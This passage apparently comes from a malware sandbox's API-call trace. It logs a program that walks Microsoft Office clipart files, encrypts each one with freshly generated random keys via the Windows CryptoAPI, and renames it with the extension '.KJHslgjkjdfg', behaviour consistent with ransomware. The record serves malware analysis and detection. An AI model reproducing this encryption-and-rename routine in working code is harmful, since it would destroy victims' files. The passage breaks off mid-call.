lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.107] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.107] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.107] GetProcessHeap () returned 0x990000 [0193.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.108] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.108] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.108] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.108] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.108] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.108] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.108] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.108] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.108] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.108] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1424, lpOverlapped=0x0) returned 1 [0193.109] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1430, dwBufLen=0x1430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1430) returned 1 [0193.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.109] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1430, lpOverlapped=0x0) returned 1 [0193.109] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.110] SetEndOfFile (hFile=0x130) returned 1 [0193.112] GetProcessHeap () returned 0x990000 [0193.112] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.112] GetProcessHeap () returned 0x990000 [0193.112] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.kjhslgjkjdfg")) returned 1 [0193.114] CloseHandle (hObject=0x130) returned 1 [0193.114] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0193.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.115] GetProcessHeap () returned 0x990000 [0193.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.115] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.116] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.116] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.116] GetProcessHeap () returned 0x990000 [0193.116] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.116] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.116] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.116] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.118] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.119] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1560, lpOverlapped=0x0) returned 1 [0193.119] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1560, dwBufLen=0x1560 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1560) returned 1 [0193.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.120] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1560, lpOverlapped=0x0) returned 1 [0193.120] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.120] SetEndOfFile (hFile=0x130) returned 1 [0193.123] GetProcessHeap () returned 0x990000 [0193.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.123] GetProcessHeap () returned 0x990000 [0193.123] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.kjhslgjkjdfg")) returned 1 [0193.124] CloseHandle (hObject=0x130) returned 1 [0193.124] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0193.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.126] GetProcessHeap () returned 0x990000 [0193.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.126] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.126] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.128] GetProcessHeap () returned 0x990000 [0193.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.129] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.129] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.129] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.129] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.129] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1034, lpOverlapped=0x0) returned 1 [0193.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040, dwBufLen=0x1040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040) returned 1 [0193.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.131] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1040, lpOverlapped=0x0) returned 1 [0193.131] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.131] SetEndOfFile (hFile=0x130) returned 1 [0193.134] GetProcessHeap () returned 0x990000 [0193.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.134] GetProcessHeap () returned 0x990000 [0193.134] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.kjhslgjkjdfg")) returned 1 [0193.135] CloseHandle (hObject=0x130) returned 1 [0193.135] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0193.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.136] GetProcessHeap () returned 0x990000 [0193.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.136] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.136] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.136] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.136] GetProcessHeap () returned 0x990000 [0193.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.136] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.136] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.136] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.139] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.139] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.139] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.139] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.139] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb60, lpOverlapped=0x0) returned 1 [0193.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60, dwBufLen=0xb60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60) returned 1 [0193.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.140] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb60, lpOverlapped=0x0) returned 1 [0193.140] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.140] SetEndOfFile (hFile=0x130) returned 1 [0193.142] GetProcessHeap () returned 0x990000 [0193.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.142] GetProcessHeap () returned 0x990000 [0193.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.kjhslgjkjdfg")) returned 1 [0193.144] CloseHandle (hObject=0x130) returned 1 [0193.144] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0193.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.145] GetProcessHeap () returned 0x990000 [0193.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.145] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.145] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.147] GetProcessHeap () returned 0x990000 [0193.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.148] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.148] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.148] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, 